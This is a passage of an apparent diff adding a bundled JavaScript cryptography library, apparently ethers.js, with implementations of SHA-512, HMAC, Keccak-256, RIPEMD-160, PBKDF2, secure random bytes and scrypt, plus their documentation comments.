Chi(E, F, G) + SHA512_K[i] + SHA512_W[i] + // prettier-ignore + const T1ll = u64.add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]); + const T1h = u64.add5H(T1ll, Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]); + const T1l = T1ll | 0; + // S0 := (a rightrotate 28) xor (a rightrotate 34) xor (a rightrotate 39) + const sigma0h = u64.rotrSH(Ah, Al, 28) ^ u64.rotrBH(Ah, Al, 34) ^ u64.rotrBH(Ah, Al, 39); + const sigma0l = u64.rotrSL(Ah, Al, 28) ^ u64.rotrBL(Ah, Al, 34) ^ u64.rotrBL(Ah, Al, 39); + const MAJh = (Ah & Bh) ^ (Ah & Ch) ^ (Bh & Ch); + const MAJl = (Al & Bl) ^ (Al & Cl) ^ (Bl & Cl); + Hh = Gh | 0; + Hl = Gl | 0; + Gh = Fh | 0; + Gl = Fl | 0; + Fh = Eh | 0; + Fl = El | 0; + ({ h: Eh, l: El } = u64.add(Dh | 0, Dl | 0, T1h | 0, T1l | 0)); + Dh = Ch | 0; + Dl = Cl | 0; + Ch = Bh | 0; + Cl = Bl | 0; + Bh = Ah | 0; + Bl = Al | 0; + const All = u64.add3L(T1l, sigma0l, MAJl); + Ah = u64.add3H(All, T1h, sigma0h, MAJh); + Al = All | 0; + } + // Add the compressed chunk to the current hash value + ({ h: Ah, l: Al } = u64.add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0)); + ({ h: Bh, l: Bl } = u64.add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0)); + ({ h: Ch, l: Cl } = u64.add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0)); + ({ h: Dh, l: Dl } = u64.add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0)); + ({ h: Eh, l: El } = u64.add(this.Eh | 0, this.El | 0, Eh | 0, El | 0)); + ({ h: Fh, l: Fl } = u64.add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0)); + ({ h: Gh, l: Gl } = u64.add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0)); + ({ h: Hh, l: Hl } = u64.add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0)); + this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl); + } + roundClean() { + SHA512_W_H.fill(0); + SHA512_W_L.fill(0); + } + destroy() { + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} +const sha512$1 = /* @__PURE__ */ wrapConstructor(() => new SHA512()); + +/* Browser Crypto Shims */ +function getGlobal$1() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); +} +const anyGlobal = getGlobal$1(); +const crypto = anyGlobal.crypto || anyGlobal.msCrypto; +function createHash(algo) { + switch (algo) { + case "sha256": return sha256$1.create(); + case "sha512": return sha512$1.create(); + } + assertArgument(false, "invalid hashing algorithm name", "algorithm", algo); +} +function createHmac(_algo, key) { + const algo = ({ sha256: sha256$1, sha512: sha512$1 }[_algo]); + assertArgument(algo != null, "invalid hmac algorithm", "algorithm", _algo); + return hmac.create(algo, key); +} +function pbkdf2Sync(password, salt, iterations, keylen, _algo) { + const algo = ({ sha256: sha256$1, sha512: sha512$1 }[_algo]); + assertArgument(algo != null, "invalid pbkdf2 algorithm", "algorithm", _algo); + return pbkdf2$1(algo, password, salt, { c: iterations, dkLen: keylen }); +} +function randomBytes$1(length) { + assert(crypto != null, "platform does not support secure random numbers", "UNSUPPORTED_OPERATION", { + operation: "randomBytes" + }); + assertArgument(Number.isInteger(length) && length > 0 && length <= 1024, "invalid length", "length", length); + const result = new Uint8Array(length); + crypto.getRandomValues(result); + return result; +} + +/** + * An **HMAC** enables verification that a given key was used + * to authenticate a payload. + * + * See: [[link-wiki-hmac]] + * + * @_subsection: api/crypto:HMAC [about-hmac] + */ +let locked$4 = false; +const _computeHmac = function (algorithm, key, data) { + return createHmac(algorithm, key).update(data).digest(); +}; +let __computeHmac = _computeHmac; +/** + * Return the HMAC for %%data%% using the %%key%% key with the underlying + * %%algo%% used for compression. + * + * @example: + * key = id("some-secret") + * + * // Compute the HMAC + * computeHmac("sha256", key, "0x1337") + * //_result: + * + * // To compute the HMAC of UTF-8 data, the data must be + * // converted to UTF-8 bytes + * computeHmac("sha256", key, toUtf8Bytes("Hello World")) + * //_result: + * + */ +function computeHmac(algorithm, _key, _data) { + const key = getBytes(_key, "key"); + const data = getBytes(_data, "data"); + return hexlify(__computeHmac(algorithm, key, data)); +} +computeHmac._ = _computeHmac; +computeHmac.lock = function () { locked$4 = true; }; +computeHmac.register = function (func) { + if (locked$4) { + throw new Error("computeHmac is locked"); + } + __computeHmac = func; +}; +Object.freeze(computeHmac); + +// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size. +// It's called a sponge function. +// Various per round constants calculations +const [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []]; +const _0n$4 = /* @__PURE__ */ BigInt(0); +const _1n$5 = /* @__PURE__ */ BigInt(1); +const _2n$3 = /* @__PURE__ */ BigInt(2); +const _7n = /* @__PURE__ */ BigInt(7); +const _256n = /* @__PURE__ */ BigInt(256); +const _0x71n = /* @__PURE__ */ BigInt(0x71); +for (let round = 0, R = _1n$5, x = 1, y = 0; round < 24; round++) { + // Pi + [x, y] = [y, (2 * x + 3 * y) % 5]; + SHA3_PI.push(2 * (5 * y + x)); + // Rotational + SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64); + // Iota + let t = _0n$4; + for (let j = 0; j < 7; j++) { + R = ((R << _1n$5) ^ ((R >> _7n) * _0x71n)) % _256n; + if (R & _2n$3) + t ^= _1n$5 << ((_1n$5 << /* @__PURE__ */ BigInt(j)) - _1n$5); + } + _SHA3_IOTA.push(t); +} +const [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split$1(_SHA3_IOTA, true); +// Left rotation (without 0, 32, 64) +const rotlH = (h, l, s) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s)); +const rotlL = (h, l, s) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s)); +// Same as keccakf1600, but allows to skip some rounds +function keccakP(s, rounds = 24) { + const B = new Uint32Array(5 * 2); + // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js) + for (let round = 24 - rounds; round < 24; round++) { + // Theta θ + for (let x = 0; x < 10; x++) + B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40]; + for (let x = 0; x < 10; x += 2) { + const idx1 = (x + 8) % 10; + const idx0 = (x + 2) % 10; + const B0 = B[idx0]; + const B1 = B[idx0 + 1]; + const Th = rotlH(B0, B1, 1) ^ B[idx1]; + const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1]; + for (let y = 0; y < 50; y += 10) { + s[x + y] ^= Th; + s[x + y + 1] ^= Tl; + } + } + // Rho (ρ) and Pi (π) + let curH = s[2]; + let curL = s[3]; + for (let t = 0; t < 24; t++) { + const shift = SHA3_ROTL[t]; + const Th = rotlH(curH, curL, shift); + const Tl = rotlL(curH, curL, shift); + const PI = SHA3_PI[t]; + curH = s[PI]; + curL = s[PI + 1]; + s[PI] = Th; + s[PI + 1] = Tl; + } + // Chi (χ) + for (let y = 0; y < 50; y += 10) { + for (let x = 0; x < 10; x++) + B[x] = s[y + x]; + for (let x = 0; x < 10; x++) + s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10]; + } + // Iota (ι) + s[0] ^= SHA3_IOTA_H[round]; + s[1] ^= SHA3_IOTA_L[round]; + } + B.fill(0); +} +class Keccak extends Hash { + // NOTE: we accept arguments in bytes instead of bits here. + constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) { + super(); + this.blockLen = blockLen; + this.suffix = suffix; + this.outputLen = outputLen; + this.enableXOF = enableXOF; + this.rounds = rounds; + this.pos = 0; + this.posOut = 0; + this.finished = false; + this.destroyed = false; + // Can be passed from user as dkLen + number(outputLen); + // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes + if (0 >= this.blockLen || this.blockLen >= 200) + throw new Error('Sha3 supports only keccak-f1600 function'); + this.state = new Uint8Array(200); + this.state32 = u32(this.state); + } + keccak() { + keccakP(this.state32, this.rounds); + this.posOut = 0; + this.pos = 0; + } + update(data) { + exists(this); + const { blockLen, state } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + for (let i = 0; i < take; i++) + state[this.pos++] ^= data[pos++]; + if (this.pos === blockLen) + this.keccak(); + } + return this; + } + finish() { + if (this.finished) + return; + this.finished = true; + const { state, suffix, pos, blockLen } = this; + // Do the padding + state[pos] ^= suffix; + if ((suffix & 0x80) !== 0 && pos === blockLen - 1) + this.keccak(); + state[blockLen - 1] ^= 0x80; + this.keccak(); + } + writeInto(out) { + exists(this, false); + bytes(out); + this.finish(); + const bufferOut = this.state; + const { blockLen } = this; + for (let pos = 0, len = out.length; pos < len;) { + if (this.posOut >= blockLen) + this.keccak(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF + if (!this.enableXOF) + throw new Error('XOF is not possible for this instance'); + return this.writeInto(out); + } + xof(bytes) { + number(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + output(out, this); + if (this.finished) + throw new Error('digest() was already called'); + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } + destroy() { + this.destroyed = true; + this.state.fill(0); + } + _cloneInto(to) { + const { blockLen, suffix, outputLen, rounds, enableXOF } = this; + to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds)); + to.state32.set(this.state32); + to.pos = this.pos; + to.posOut = this.posOut; + to.finished = this.finished; + to.rounds = rounds; + // Suffix can change in cSHAKE + to.suffix = suffix; + to.outputLen = outputLen; + to.enableXOF = enableXOF; + to.destroyed = this.destroyed; + return to; + } +} +const gen = (suffix, blockLen, outputLen) => wrapConstructor(() => new Keccak(blockLen, suffix, outputLen)); +/** + * keccak-256 hash function. Different from SHA3-256. + * @param message - that would be hashed + */ +const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8); + +/** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ +let locked$3 = false; +const _keccak256 = function (data) { + return keccak_256(data); +}; +let __keccak256 = _keccak256; +/** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ +function keccak256(_data) { + const data = getBytes(_data, "data"); + return hexlify(__keccak256(data)); +} +keccak256._ = _keccak256; +keccak256.lock = function () { locked$3 = true; }; +keccak256.register = function (func) { + if (locked$3) { + throw new TypeError("keccak256 is locked"); + } + __keccak256 = func; +}; +Object.freeze(keccak256); + +// https://homes.esat.kuleuven.be/~bosselae/ripemd160.html +// https://homes.esat.kuleuven.be/~bosselae/ripemd160/pdf/AB-9601/AB-9601.pdf +const Rho = /* @__PURE__ */ new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]); +const Id = /* @__PURE__ */ Uint8Array.from({ length: 16 }, (_, i) => i); +const Pi = /* @__PURE__ */ Id.map((i) => (9 * i + 5) % 16); +let idxL = [Id]; +let idxR = [Pi]; +for (let i = 0; i < 4; i++) + for (let j of [idxL, idxR]) + j.push(j[i].map((k) => Rho[k])); +const shifts = /* @__PURE__ */ [ + [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], + [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], + [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], + [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], + [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5], +].map((i) => new Uint8Array(i)); +const shiftsL = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts[i][j])); +const shiftsR = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts[i][j])); +const Kl = /* @__PURE__ */ new Uint32Array([ + 0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e, +]); +const Kr = /* @__PURE__ */ new Uint32Array([ + 0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000, +]); +// The rotate left (circular left shift) operation for uint32 +const rotl$1 = (word, shift) => (word << shift) | (word >>> (32 - shift)); +// It's called f() in spec. +function f(group, x, y, z) { + if (group === 0) + return x ^ y ^ z; + else if (group === 1) + return (x & y) | (~x & z); + else if (group === 2) + return (x | ~y) ^ z; + else if (group === 3) + return (x & z) | (y & ~z); + else + return x ^ (y | ~z); +} +// Temporary buffer, not used to store anything between runs +const BUF = /* @__PURE__ */ new Uint32Array(16); +class RIPEMD160 extends SHA2 { + constructor() { + super(64, 20, 8, true); + this.h0 = 0x67452301 | 0; + this.h1 = 0xefcdab89 | 0; + this.h2 = 0x98badcfe | 0; + this.h3 = 0x10325476 | 0; + this.h4 = 0xc3d2e1f0 | 0; + } + get() { + const { h0, h1, h2, h3, h4 } = this; + return [h0, h1, h2, h3, h4]; + } + set(h0, h1, h2, h3, h4) { + this.h0 = h0 | 0; + this.h1 = h1 | 0; + this.h2 = h2 | 0; + this.h3 = h3 | 0; + this.h4 = h4 | 0; + } + process(view, offset) { + for (let i = 0; i < 16; i++, offset += 4) + BUF[i] = view.getUint32(offset, true); + // prettier-ignore + let al = this.h0 | 0, ar = al, bl = this.h1 | 0, br = bl, cl = this.h2 | 0, cr = cl, dl = this.h3 | 0, dr = dl, el = this.h4 | 0, er = el; + // Instead of iterating 0 to 80, we split it into 5 groups + // And use the groups in constants, functions, etc. Much simpler + for (let group = 0; group < 5; group++) { + const rGroup = 4 - group; + const hbl = Kl[group], hbr = Kr[group]; // prettier-ignore + const rl = idxL[group], rr = idxR[group]; // prettier-ignore + const sl = shiftsL[group], sr = shiftsR[group]; // prettier-ignore + for (let i = 0; i < 16; i++) { + const tl = (rotl$1(al + f(group, bl, cl, dl) + BUF[rl[i]] + hbl, sl[i]) + el) | 0; + al = el, el = dl, dl = rotl$1(cl, 10) | 0, cl = bl, bl = tl; // prettier-ignore + } + // 2 loops are 10% faster + for (let i = 0; i < 16; i++) { + const tr = (rotl$1(ar + f(rGroup, br, cr, dr) + BUF[rr[i]] + hbr, sr[i]) + er) | 0; + ar = er, er = dr, dr = rotl$1(cr, 10) | 0, cr = br, br = tr; // prettier-ignore + } + } + // Add the compressed chunk to the current hash value + this.set((this.h1 + cl + dr) | 0, (this.h2 + dl + er) | 0, (this.h3 + el + ar) | 0, (this.h4 + al + br) | 0, (this.h0 + bl + cr) | 0); + } + roundClean() { + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0); + } +} +/** + * RIPEMD-160 - a hash function from 1990s. + * @param message - msg that would be hashed + */ +const ripemd160$1 = /* @__PURE__ */ wrapConstructor(() => new RIPEMD160()); + +let locked$2 = false; +const _ripemd160 = function (data) { + return ripemd160$1(data); +}; +let __ripemd160 = _ripemd160; +/** + * Compute the cryptographic RIPEMD-160 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * ripemd160("0x") + * //_result: + * + * ripemd160("0x1337") + * //_result: + * + * ripemd160(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +function ripemd160(_data) { + const data = getBytes(_data, "data"); + return hexlify(__ripemd160(data)); +} +ripemd160._ = _ripemd160; +ripemd160.lock = function () { locked$2 = true; }; +ripemd160.register = function (func) { + if (locked$2) { + throw new TypeError("ripemd160 is locked"); + } + __ripemd160 = func; +}; +Object.freeze(ripemd160); + +/** + * A **Password-Based Key-Derivation Function** is designed to create + * a sequence of bytes suitible as a **key** from a human-rememberable + * password. + * + * @_subsection: api/crypto:Passwords [about-pbkdf] + */ +let locked$1 = false; +const _pbkdf2 = function (password, salt, iterations, keylen, algo) { + return pbkdf2Sync(password, salt, iterations, keylen, algo); +}; +let __pbkdf2 = _pbkdf2; +/** + * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using + * the %%salt%% and using %%iterations%% of %%algo%%. + * + * This PBKDF is outdated and should not be used in new projects, but is + * required to decrypt older files. + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the PBKDF2 + * pbkdf2(passwordBytes, salt, 1024, 16, "sha256") + * //_result: + */ +function pbkdf2(_password, _salt, iterations, keylen, algo) { + const password = getBytes(_password, "password"); + const salt = getBytes(_salt, "salt"); + return hexlify(__pbkdf2(password, salt, iterations, keylen, algo)); +} +pbkdf2._ = _pbkdf2; +pbkdf2.lock = function () { locked$1 = true; }; +pbkdf2.register = function (func) { + if (locked$1) { + throw new Error("pbkdf2 is locked"); + } + __pbkdf2 = func; +}; +Object.freeze(pbkdf2); + +/** + * A **Cryptographically Secure Random Value** is one that has been + * generated with additional care take to prevent side-channels + * from allowing others to detect it and prevent others from through + * coincidence generate the same values. + * + * @_subsection: api/crypto:Random Values [about-crypto-random] + */ +let locked = false; +const _randomBytes = function (length) { + return new Uint8Array(randomBytes$1(length)); +}; +let __randomBytes = _randomBytes; +/** + * Return %%length%% bytes of cryptographically secure random data. + * + * @example: + * randomBytes(8) + * //_result: + */ +function randomBytes(length) { + return __randomBytes(length); +} +randomBytes._ = _randomBytes; +randomBytes.lock = function () { locked = true; }; +randomBytes.register = function (func) { + if (locked) { + throw new Error("randomBytes is locked"); + } + __randomBytes = func; +}; +Object.freeze(randomBytes); + +// RFC 7914 Scrypt KDF +// Left rotate for uint32 +const rotl = (a, b) => (a << b) | (a >>> (32 - b)); +// The main Scrypt loop: uses Salsa extensively. +// Six versions of the function were tried, this is the fastest one. +// prettier-ignore +function XorAndSalsa(prev, pi, input, ii, out, oi) { + // Based on https://cr.yp.to/salsa20.html + // Xor blocks + let y00 = prev[pi++] ^ input[ii++], y01 = prev[pi++] ^ input[ii++]; + let y02 = prev[pi++] ^ input[ii++], y03 = prev[pi++] ^ input[ii++]; + let y04 = prev[pi++] ^ input[ii++], y05 = prev[pi++] ^ input[ii++]; + let y06 = prev[pi++] ^ input[ii++], y07 = prev[pi++] ^ input[ii++]; + let y08 = prev[pi++] ^ input[ii++], y09 = prev[pi++] ^ input[ii++]; + let y10 = prev[pi++] ^ input[ii++], y11 = prev[pi++] ^ input[ii++]; + let y12 = prev[pi++] ^ input[ii++], y13 = prev[pi++] ^ input[ii++]; + let y14 = prev[pi++] ^ input[ii++], y15 = prev[pi++] ^ input[ii++]; + // Save state to temporary variables (salsa) + let x00 = y00, x01 = y01, x02 = y02, x03 = y03, x04 = y04, x05 = y05, x06 = y06, x07 = y07, x08 = y08, x09 = y09, x10 = y10, x11 = y11, x12 = y12, x13 = y13, x14 = y14, x15 = y15; + // Main loop (salsa) + for (let i = 0; i < 8; i += 2) { + x04 ^= rotl(x00 + x12 | 0, 7); + x08 ^= rotl(x04 + x00 | 0, 9); + x12 ^= rotl(x08 + x04 | 0, 13); + x00 ^= rotl(x12 + x08 | 0, 18); + x09 ^= rotl(x05 + x01 | 0, 7); + x13 ^= rotl(x09 + x05 | 0, 9); + x01 ^= rotl(x13 + x09 | 0, 13); + x05 ^= rotl(x01 + x13 | 0, 18); + x14 ^= rotl(x10 + x06 | 0, 7); + x02 ^= rotl(x14 + x10 | 0, 9); + x06 ^= rotl(x02 + x14 | 0, 13); + x10 ^= rotl(x06 + x02 | 0, 18); + x03 ^= rotl(x15 + x11 | 0, 7); + x07 ^= rotl(x03 + x15 | 0, 9); + x11 ^= rotl(x07 + x03 | 0, 13); + x15 ^= rotl(x11 + x07 | 0, 18); + x01 ^= rotl(x00 + x03 | 0, 7); + x02 ^= rotl(x01 + x00 | 0, 9); + x03 ^= rotl(x02 + x01 | 0, 13); + x00 ^= rotl(x03 + x02 | 0, 18); + x06 ^= rotl(x05 + x04 | 0, 7); + x07 ^= rotl(x06 + x05 | 0, 9); + x04 ^= rotl(x07 + x06 | 0, 13); + x05 ^= rotl(x04 + x07 | 0, 18); + x11 ^= rotl(x10 + x09 | 0, 7); + x08 ^= rotl(x11 + x10 | 0, 9); + x09 ^= rotl(x08 + x11 | 0, 13); + x10 ^= rotl(x09 + x08 | 0, 18); + x12 ^= rotl(x15 + x14 | 0, 7); + x13 ^= rotl(x12 + x15 | 0, 9); + x14 ^= rotl(x13 + x12 | 0, 13); + x15 ^= rotl(x14 + x13 | 0, 18); + } + // Write output (salsa) + out[oi++] = (y00 + x00) | 0; + out[oi++] = (y01 + x01) | 0; + out[oi++] = (y02 + x02) | 0; + out[oi++] = (y03 + x03) | 0; + out[oi++] = (y04 + x04) | 0; + out[oi++] = (y05 + x05) | 0; + out[oi++] = (y06 + x06) | 0; + out[oi++] = (y07 + x07) | 0; + out[oi++] = (y08 + x08) | 0; + out[oi++] = (y09 + x09) | 0; + out[oi++] = (y10 + x10) | 0; + out[oi++] = (y11 + x11) | 0; + out[oi++] = (y12 + x12) | 0; + out[oi++] = (y13 + x13) | 0; + out[oi++] = (y14 + x14) | 0; + out[oi++] = (y15 + x15) | 0; +} +function BlockMix(input, ii, out, oi, r) { + // The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks) + let head = oi + 0; + let tail = oi + 16 * r; + for (let i = 0; i < 16; i++) + out[tail + i] = input[ii + (2 * r - 1) * 16 + i]; // X ← B[2r−1] + for (let i = 0; i < r; i++, head += 16, ii += 16) { + // We write odd & even Yi at same time. Even: 0bXXXXX0 Odd: 0bXXXXX1 + XorAndSalsa(out, tail, input, ii, out, head); // head[i] = Salsa(blockIn[2*i] ^ tail[i-1]) + if (i > 0) + tail += 16; // First iteration overwrites tmp value in tail + XorAndSalsa(out, head, input, (ii += 16), out, tail); // tail[i] = Salsa(blockIn[2*i+1] ^ head[i]) + } +} +// Common prologue and epilogue for sync/async functions +function scryptInit(password, salt, _opts) { + // Maxmem - 1GB+1KB by default + const opts = checkOpts({ + dkLen: 32, + asyncTick: 10, + maxmem: 1024 ** 3 + 1024, + }, _opts); + const { N, r, p, dkLen, asyncTick, maxmem, onProgress } = opts; + number(N); + number(r); + number(p); + number(dkLen); + number(asyncTick); + number(maxmem); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + const blockSize = 128 * r; + const blockSize32 = blockSize / 4; + if (N <= 1 || (N & (N - 1)) !== 0 || N >= 2 ** (blockSize / 8) || N > 2 ** 32) { + // NOTE: we limit N to be less than 2**32 because of 32 bit variant of Integrify function + // There is no JS engines that allows alocate more than 4GB per single Uint8Array for now, but can change in future. + throw new Error('Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32'); + } + if (p < 0 || p > ((2 ** 32 - 1) * 32) / blockSize) { + throw new Error('Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)'); + } + if (dkLen < 0 || dkLen > (2 ** 32 - 1) * 32) { + throw new Error('Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32'); + } + const memUsed = blockSize * (N + p); + if (memUsed > maxmem) { + throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`); + } + // [B0...Bp−1] ← PBKDF2HMAC-SHA256(Passphrase, Salt, 1, blockSize*ParallelizationFactor) + // Since it has only one iteration there is no reason to use async variant + const B = pbkdf2$1(sha256$1, password, salt, { c: 1, dkLen: blockSize * p }); + const B32 = u32(B); + // Re-used between parallel iterations. Array(iterations) of B + const V = u32(new Uint8Array(blockSize * N)); + const tmp = u32(new Uint8Array(blockSize)); + let blockMixCb = () => { }; + if (onProgress) { + const totalBlockMix = 2 * N * p; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlockMix / 10000), 1); + let blockMixCnt = 0; + blockMixCb = () => { + blockMixCnt++; + if (onProgress && (!(blockMixCnt % callbackPer) || blockMixCnt === totalBlockMix)) + onProgress(blockMixCnt / totalBlockMix); + }; + } + return { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick }; +} +function scryptOutput(password, dkLen, B, V, tmp) { + const res = pbkdf2$1(sha256$1, password, B, { c: 1, dkLen }); + B.fill(0); + V.fill(0); + tmp.fill(0); + return res; +} +/** + * Scrypt KDF from RFC 7914. + * @param password - pass + * @param salt - salt + * @param opts - parameters + * - `N` is cpu/mem work factor (power of 2 e.g. 2**18) + * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance + * - `p` is parallelization factor (1 is common) + * - `dkLen` is output key length in bytes e.g. 32. + * - `asyncTick` - (default: 10) max time in ms for which async function can block execution + * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt + * - `onProgress` - callback function that would be executed for progress report + * @returns Derived key + */ +function scrypt$1(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + for (let i = 0, pos = 0; i < N - 1; i++) { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + } + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + for (let i = 0; i < N; i++) { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + } + } + return scryptOutput(password, dkLen, B, V, tmp); +} +/** + * Scrypt KDF from RFC 7914. + */ +async function scryptAsync(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + let pos = 0; + await asyncLoop(N - 1, asyncTick, () => { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + }); + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + await asyncLoop(N, asyncTick, () => { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + }); + } + return scryptOutput(password, dkLen, B, V, tmp); +} + +let lockedSync = false, lockedAsync = false; +const _scryptAsync = async function (passwd, salt, N, r, p, dkLen, onProgress) { + return await scryptAsync(passwd, salt, { N, r, p, dkLen, onProgress }); +}; +const _scryptSync = function (passwd, salt, N, r, p, dkLen) { + return scrypt$1(passwd, salt, { N, r, p, dkLen }); +}; +let __scryptAsync = _scryptAsync; +let __scryptSync = _scryptSync; +/** + * The [[link-wiki-scrypt]] uses a memory and cpu hard method of + * derivation to increase the resource cost to brute-force a password + * for a given key. + * + * This means this algorithm is intentionally slow, and can be tuned to + * become slower. As computation and memory speed improve over time, + * increasing the difficulty maintains the cost of an attacker. + * + * For example, if a target time of 5 seconds is used, a legitimate user + * which knows their password requires only 5 seconds to unlock their + * account. A 6 character password has 68 billion possibilities, which + * would require an attacker to invest over 10,000 years of CPU time. This + * is of course a crude example (as password generally aren't random), + * but demonstrates to value of imposing large costs to decryption. + * + * For this reason, if building a UI which involved decrypting or + * encrypting datsa using scrypt, it is recommended to use a + * [[ProgressCallback]] (as event short periods can seem lik an eternity + * if the UI freezes). Including the phrase //"decrypting"// in the UI + * can also help, assuring the user their waiting is for a good reason. + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scrypt(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +async function scrypt(_passwd, _salt, N, r, p, dkLen, progress) { + const passwd = getBytes(_passwd, 